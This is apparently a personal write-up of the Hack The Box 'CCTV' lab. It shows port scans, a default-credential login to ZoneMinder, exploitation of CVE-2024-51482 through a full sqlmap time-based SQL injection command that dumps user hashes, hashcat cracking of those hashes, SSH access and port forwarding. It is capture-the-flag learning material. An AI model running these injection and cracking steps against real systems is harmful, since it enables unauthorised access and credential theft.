mairon $ echo 10.129.12.97 | sudo tee -a cctv.htb
mairon $ rustscan -a cctv.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV | tee ~/htb/cctv/rustscan
.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.š¢
[~] The config file is expected to be at "~/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.12.97:22
Open 10.129.12.97:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.12.97
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 20:32 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:32
Completed NSE at 20:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:32
Completed NSE at 20:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:32
Completed NSE at 20:32, 0.00s elapsed
Initiating Connect Scan at 20:32
Scanning 10.129.12.97 [2 ports]
Discovered open port 80/tcp on 10.129.12.97
Discovered open port 22/tcp on 10.129.12.97
Completed Connect Scan at 20:32, 0.01s elapsed (2 total ports)
Initiating Service scan at 20:32
Scanning 2 services on 10.129.12.97
Completed Service scan at 20:33, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.12.97.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.60s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 2.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Nmap scan report for 10.129.12.97
Host is up, received user-set (0.0083s latency).
Scanned at 2026-03-23 20:32:58 CET for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
| 256 e3:9b:38:08:9a:d7:e9:d1:94:11:ff:50:80:bc:f2:59 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKitA8JIvpUZg84xCOEAX17k1W9xZDviZdnUrcoPRreb
80/tcp open http syn-ack Apache httpd 2.4.58
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds
So, I found a login page on http://cctv.htb/zm/, but instead of trying admin:admin first, I decided to perform a vhost brute force, and an SQLmap.
To no availā¦ā
But those default credentials got me in.
This is a ZoneMinder console, running version v1.37.63, which seems to be vulnerable to CVE-2024-51482
Found a PoC
I initially thought I did not manage to get that PoC to work, so I tried exploit this semi-manually using SQLmap, via the Attack Vector part of the README.md in the PoCās repo.
The attack vector is INJECTION_POINT, and I configured SQLmap to use my ZMSESSID cookie I logged in with via my browser:
mairon 55s $ sqlmap http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1 --cookie="ZMSESSID=hg47o6g1vkoamtb2hd0pc1551m" --dump --dbms=MySQL -D zm -T Users -C Username,Password --technique=T --batch --time-sec=2
___
__H__
___ ___[(]_____ ___ ___ {1.10.2#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:45:58 /2026-03-23/
[21:45:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 6663 FROM (SELECT(SLEEP(2)))qoIn)
---
[21:45:59] [INFO] testing MySQL
[21:45:59] [INFO] confirming MySQL
[21:45:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 8.0.0
[21:45:59] [INFO] fetching entries of column(s) 'Password,Username' for table 'Users' in database 'zm'
[21:45:59] [INFO] fetching number of column(s) 'Password,Username' entries for table 'Users' in database 'zm'
[21:45:59] [INFO] resumed: 3
[21:45:59] [INFO] resuming partial value: $2
[21:45:59] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[21:46:01] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[21:53:01] [INFO] retrieved: superadmin
[21:54:03] [INFO] retrieved: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[22:02:01] [INFO] retrieved: mark
[22:02:24] [INFO] retrieved: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvR
[22:10:14] [ERROR] invalid character detected. retrying..
U
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
M6m
[22:10:44] [INFO] retrieved: admin
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
[22:11:13] [INFO] table 'zm.Users' dumped to CSV file '~/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv'
[22:11:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1623 times
[22:11:13] [INFO] fetched data logged to text files under '~/.local/share/sqlmap/output/cctv.htb'
[*] ending @ 22:11:13 /2026-03-23/
It was getting late so I picked up from here the next day.
Patience is virtue here: SQLmap finished in about 25 minutes, and it turns out that earlier PoC did also work, it just took a very, very long time to complete as well.
|
ā¹ļø
|
Try adding the |
In any case, weāve got three hashes we can try cracking. Likely bcrypt:
mairon $ hashid '$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'
Analyzing '$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
To be honest, I was a bit hesitant to try because bcrypt is very, very slow. Unless these passwds are plain in rockyou, Iād be very reluctant to try anything more challenging like rule-based attacks.
But since we donāt have any other leads, letās try bcrypt nonetheless:
mairon $ hashcat -m 3200 ~/htb/cctv/hashes.txt ~/htb/wordlists/rockyou.txt --potfile-disable
[...]
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m:admin
Great, it seems this was indeed intentional to crack this way. Weāve got the following credentials now:
mark:opensesame # indeed a new one
admin:admin # feels very familiar...
I did not manage to crack that superadmin hash, but perhaps weāre not supposed to for this puzzle. Letās try SSH from here, as mark:
mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 mark@cctv.htb
Warning: Identity file ssh/id_ed25519 not accessible: No such file or directory.
The authenticity of host 'cctv.htb (10.129.12.139)' can't be established.
ED25519 key fingerprint is: SHA256:KrrHjS+nu1wJEfv1/NxT1fI+ODJaSRdJtFg201G+tO0
+--[ED25519 256]--+
| . .B..+|
| o = =o.|
| o . . +..+|
| o . o oo=|
| . . S o. . o+|
| . o .oo..+ |
| ..o+ =ooo.E|
| o=oo o o ...|
| oo=B. . |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cctv.htb' (ED25519) to the list of known hosts.
mark@cctv.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon 2 Mar 10:33:13 UTC 2026
System load: 1.95
Usage of /: 72.4% of 8.70GB
Memory usage: 26%
Swap usage: 0%
Processes: 284
Users logged i: 0
IPv4 address for eth0: 10.129.244.156
IPv6 address for eth0: dead:beef::250:56ff:feb9:8207
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
14 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
mark@cctv:~$
Sadly no user flag here just yet.
Thereās one other user, sa_mark, which I suspect holds the user flag.
mark has no special`sudo` privileges either, but we do see some interesting running services, on localhost which piqued my interest:
mark@cctv:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1935 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8765 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8554 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 *:80 *:*
Letās try to port forward and scan them:
mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 mark@cctv.htb -L 1935:127.0.0.1:1935 -L 7999:127.0.0.1:7999 -L 3306:127.0.0.1:3306 -L 9081:127.0.0.1:9081 -L 8888:127.0.0.1:8888 -L 8765:127.0.0.1:8765 -L 33060:127.0.0.1:33060 -L 8554:127.0.0.1:8554
mairon $ rustscan -a 127.0.0.1 --ulimit 5000 -p 1935,7999,3306,9081,8888,8765,33060,8554 -- -Pn -n -v --open -A -sCV | tee ~/htb/cctv/rustscan-localhost.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
To scan or not to scan? That is the question.
[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 127.0.0.1:1935
Open 127.0.0.1:7999
Open 127.0.0.1:3306
Open 127.0.0.1:9081
Open 127.0.0.1:8888
Open 127.0.0.1:8765
Open 127.0.0.1:33060
Open 127.0.0.1:8554
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 127.0.0.1
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 08:51 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:51
Completed NSE at 08:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:51
Completed NSE at 08:51, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:51
Completed NSE at 08:51, 0.00s elapsed
Initiating Connect Scan at 08:51
Scanning 127.0.0.1 [8 ports]
Discovered open port 3306/tcp on 127.0.0.1
Discovered open port 8888/tcp on 127.0.0.1
Discovered open port 8765/tcp on 127.0.0.1
Discovered open port 33060/tcp on 127.0.0.1
Discovered open port 1935/tcp on 127.0.0.1
Discovered open port 7999/tcp on 127.0.0.1
Discovered open port 8554/tcp on 127.0.0.1
Discovered open port 9081/tcp on 127.0.0.1
Completed Connect Scan at 08:51, 0.00s elapsed (8 total ports)
Initiating Service scan at 08:51
Scanning 8 services on 127.0.0.1
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 87.50% done; ETC: 08:52 (0:00:06 remaining)
Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 87.50% done; ETC: 08:52 (0:00:06 remaining)
Completed Service scan at 08:53, 124.02s elapsed (8 services on 1 host)
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 19.04s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 1.99s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
Nmap scan report for 127.0.0.1
Host is up, received user-set (0.000051s latency).
Scanned at 2026-03-24 08:51:31 CET for 145s
PORT STATE SERVICE REASON VERSION
1935/tcp open rtmp? syn-ack
3306/tcp open mysql syn-ack MySQL 8.0.45-0ubuntu0.24.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.43_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.43_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-13T21:37:10
| Not valid after: 2035-09-11T21:37:10
| MD5: 4c13 48e6 41b5 544f 5c69 8d0d 74dd b3fb
| SHA-1: 61bf 62b5 9b1a 7461 d300 2ba8 6613 198f c68b df35
| SHA-256: b8cf bcc9 f89e 77da 7c01 06d1 b20d fd2a 8200 d2ea 8cdd 95ef b12e 75d9 567c f7d4
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfOC4wLjQzX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTI1MDkxMzIxMzcxMFoXDTM1MDkxMTIxMzcxMFowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzguMC40M19BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCf5SM0hfjw9aIzBPucKJk7
| 0oUCiMANOf6sAwKmfKc6PceUPshG4mpmiqk2MnF3+191PMNbrhZ7G/zl/3hluF9M
| Ykj2xLPayEAAWwEBzG4AU2sLvH6ofmiiz/e4Qyn1ff8ZfRc2DRvTgD9kRThEUKh7
| hA823CSA8wHO5V9ztacWehABQELsjucy88S2Ncqbenujod/GPcLaPZMpkY7ucXl3
| /hd+SfZATEwYucEVB+jux5/UZWkyarzdEmpJGMOYIzFyE62eFuJJH+Yyrc9uaYqG
| UEVI+OlCHhcDWv7rSUlvYkRIG+Ai7N283WKOnvcKX/OLMpwhoy8LDtBqtowMbMld
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAE44Y7Qw
| BxXzux1TL4+pAuVSblls8x6WUWmIMVOGdrFQrs+Gcq+1RsP/i26o8/nzLYtbebRb
| MYOkRbz2RbOdq7ZBlyBwzrVb4XXJCC5tG8nqQ5YqUF1VnbXHuJP0+YpjtXk5NPO+
| DT7te+mAHpI/OJSIaS+bi1iBPFRkzwVy1TMzwnzX/HyJyQgvY7SNn+p6bSUbqNTZ
| A7ovIcpXJZK+Rd7gwSy5kG5FC9EEcHx94IpHb606/4TjUixXyRoFhRwQizVCkezi
| gH4oLnv3Ixe52u2+YHs0s6tvVM0DFe12tP8liEI1jwj1r8zJ2fqA0lJIZ4RQOWcG
| i06C/Ov/HLv9u88=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.45-0ubuntu0.24.04.1
| Thread ID: 40
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, SupportsCompression, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ConnectWithDatabase, SupportsTransactions, LongPassword, InteractiveClient, FoundRows, ODBCClient, Support41Auth, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: 2^\x04!jYZ\x16?6\x07mH\x07:,YF{G
|_ Auth Plugin Name: caching_sha2_password
7999/tcp open irdmi2? syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| Date: Tue, 24 Mar 2026 07:51:42 GMT
| Connection: close
| Content-Type: text/plain;
| Content-Length: 58
| Request
| server did not understand your request.
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 24 Mar 2026 07:51:42 GMT
| Connection: close
| Content-Type: text/plain;
| Content-Length: 36
| Motion 4.7.1 Running [1] Camera
| RTSPRequest, SIPOptions:
| HTTP/1.1 400 Bad Request
| Date: Tue, 24 Mar 2026 07:51:42 GMT
| Connection: close
| Content-Length: 111
|_ <html><head><title>Request malformed</title></head><body>HTTP request is syntactically incorrect.</body></html>
8554/tcp open http syn-ack IDentifier NameTracer Pro httpd
|_http-title: Site doesn't have a title.
| http-methods:
|_ Supported Methods: GET POST
8765/tcp open ultraseek-http? syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Server: motionEye/0.43.1b4
| Content-Type: application/json
| Date: Tue, 24 Mar 2026 07:52:29 GMT
| Content-Length: 22
| {"error": "not found"}
| GenericLines, RTSPRequest:
| HTTP/1.1 400 Bad Request
| GetRequest:
| HTTP/1.1 200 OK
| Server: motionEye/0.43.1b4
| Content-Type: text/html
| Date: Tue, 24 Mar 2026 07:51:37 GMT
| Etag: "6a55c4f0afb5e1cfd268b1b266d132b31c352706"
| Content-Length: 115726
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="mobile-web-app-capable" content="yes">
| <meta name="apple-mobile-web-app-capable" content="yes">
| <meta name="theme-color" content="#414141">
| <meta name="apple-mobile-web-app-status-bar-style" content="#414141">
| <title>cctv</title>
| <link rel="stylesheet" type="text/css" href="static/css/jquery.timepicker.min.css?v=0.43.1b4">
| <link rel="shortcut icon" href="static/img/motioneye-logo.svg">
| <link rel="apple-touch-icon" href="static/
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| Server: motionEye/0.43.1b4
| Content-Type: application/json
| Date: Tue, 24 Mar 2026 07:51:37 GMT
| Content-Length: 41
|_ {"error": "HTTP 405: Method Not Allowed"}
8888/tcp open http syn-ack Golang net/http server
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-cors: GET OPTIONS
|_http-server-header: mediamtx
|_http-title: Site doesn't have a title (text/plain).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 301 Moved Permanently
| Access-Control-Allow-Credentials: true
| Access-Control-Allow-Origin: *
| Location: /nice ports,/Trinity.txt.bak/
| Server: mediamtx
| Date: Tue, 24 Mar 2026 07:51:37 GMT
| Content-Length: 0
| GenericLines, Help, LPDString, LSCP, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Access-Control-Allow-Credentials: true
| Access-Control-Allow-Origin: *
| Content-Type: text/plain
| Server: mediamtx
| Date: Tue, 24 Mar 2026 07:51:37 GMT
| Content-Length: 18
|_ page not found
9081/tcp open cisco-aqos? syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 24 Mar 2026 07:51:42 GMT
| Connection: close
| Content-Type: multipart/x-mixed-replace; boundary=BoundaryString
| --BoundaryString
| Content-type: image/jpeg
| Content-Length: 11261
| JFIF
| Exif
| 0220
| 2026:03:24 07:51:43
| 2026:03:24 07:51:43
| $3br
| %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|_ &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
33060/tcp open mysqlx syn-ack MySQL X protocol listener
4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7999-TCP:V=7.98%I=7%D=3/24%Time=69C2428E%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,9E,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2024\x20Mar\x2020
SF:26\x2007:51:42\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/
SF:plain;\r\nContent-Length:\x2036\r\n\r\nMotion\x204\.7\.1\x20Running\x20
SF:\[1\]\x20Camera\x20\n1\x20\n")%r(RTSPRequest,D8,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nDate:\x20Tue,\x2024\x20Mar\x202026\x2007:51:42\x20GMT\r
SF:\nConnection:\x20close\r\nContent-Length:\x20111\r\n\r\n<html><head><ti
SF:tle>Request\x20malformed</title></head><body>HTTP\x20request\x20is\x20s
SF:yntactically\x20incorrect\.</body></html>")%r(FourOhFourRequest,B4,"HTT
SF:P/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2024\x20Mar\x202026\x2007:51:42\x
SF:20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/plain;\r\nConten
SF:t-Length:\x2058\r\n\r\nBad\x20Request\x20\nThe\x20server\x20did\x20not\
SF:x20understand\x20your\x20request\.\x20\n")%r(SIPOptions,D8,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nDate:\x20Tue,\x2024\x20Mar\x202026\x2007:51:
SF:42\x20GMT\r\nConnection:\x20close\r\nContent-Length:\x20111\r\n\r\n<htm
SF:l><head><title>Request\x20malformed</title></head><body>HTTP\x20request
SF:\x20is\x20syntactically\x20incorrect\.</body></html>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8765-TCP:V=7.98%I=7%D=3/24%Time=69C24289%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(GetReques
SF:t,8000,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20motionEye/0\.43\.1b4\r\nCo
SF:ntent-Type:\x20text/html\r\nDate:\x20Tue,\x2024\x20Mar\x202026\x2007:51
SF::37\x20GMT\r\nEtag:\x20\"6a55c4f0afb5e1cfd268b1b266d132b31c352706\"\r\n
SF:Content-Length:\x20115726\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\x20\x20\x
SF:20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"
SF:width=device-width,\x20initial-scale=1\">\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20name=\"mobile-web-app-capable\"\x20content
SF:=\"yes\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20nam
SF:e=\"apple-mobile-web-app-capable\"\x20content=\"yes\">\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20name=\"theme-color\"\x20conte
SF:nt=\"#414141\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<meta\
SF:x20name=\"apple-mobile-web-app-status-bar-style\"\x20content=\"#414141\
SF:">\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:title>cctv</title>\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<link\x20rel=\"stylesh
SF:eet\"\x20type=\"text/css\"\x20href=\"static/css/jquery\.timepicker\.min
SF:\.css\?v=0\.43\.1b4\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<link\x20rel=\"shortcut\x20icon\"\x20href=\"static/img/motioneye-logo\
SF:.svg\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<link\x20rel=\
SF:"apple-touch-icon\"\x20href=\"static/")%r(HTTPOptions,C1,"HTTP/1\.1\x20
SF:405\x20Method\x20Not\x20Allowed\r\nServer:\x20motionEye/0\.43\.1b4\r\nC
SF:ontent-Type:\x20application/json\r\nDate:\x20Tue,\x2024\x20Mar\x202026\
SF:x2007:51:37\x20GMT\r\nContent-Length:\x2041\r\n\r\n{\"error\":\x20\"HTT
SF:P\x20405:\x20Method\x20Not\x20Allowed\"}")%r(RTSPRequest,1C,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFourRequest,A5,"HTTP/1\.1\x2
SF:0404\x20Not\x20Found\r\nServer:\x20motionEye/0\.43\.1b4\r\nContent-Type
SF::\x20application/json\r\nDate:\x20Tue,\x2024\x20Mar\x202026\x2007:52:29
SF:\x20GMT\r\nContent-Length:\x2022\r\n\r\n{\"error\":\x20\"not\x20found\"
SF:}");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8888-TCP:V=7.98%I=7%D=3/24%Time=69C24289%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,D9,"HTTP/1\.0\x20404\x20Not\x20Found\r\nAccess-Control-Allow-C
SF:redentials:\x20true\r\nAccess-Control-Allow-Origin:\x20\*\r\nContent-Ty
SF:pe:\x20text/plain\r\nServer:\x20mediamtx\r\nDate:\x20Tue,\x2024\x20Mar\
SF:x202026\x2007:51:37\x20GMT\r\nContent-Length:\x2018\r\n\r\n404\x20page\
SF:x20not\x20found")%r(HTTPOptions,D9,"HTTP/1\.0\x20404\x20Not\x20Found\r\
SF:nAccess-Control-Allow-Credentials:\x20true\r\nAccess-Control-Allow-Orig
SF:in:\x20\*\r\nContent-Type:\x20text/plain\r\nServer:\x20mediamtx\r\nDate
SF::\x20Tue,\x2024\x20Mar\x202026\x2007:51:37\x20GMT\r\nContent-Length:\x2
SF:018\r\n\r\n404\x20page\x20not\x20found")%r(FourOhFourRequest,DD,"HTTP/1
SF:\.0\x20301\x20Moved\x20Permanently\r\nAccess-Control-Allow-Credentials:
SF:\x20true\r\nAccess-Control-Allow-Origin:\x20\*\r\nLocation:\x20/nice\x2
SF:0ports,/Trinity\.txt\.bak/\r\nServer:\x20mediamtx\r\nDate:\x20Tue,\x202
SF:4\x20Mar\x202026\x2007:51:37\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r
SF:(LSCP,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
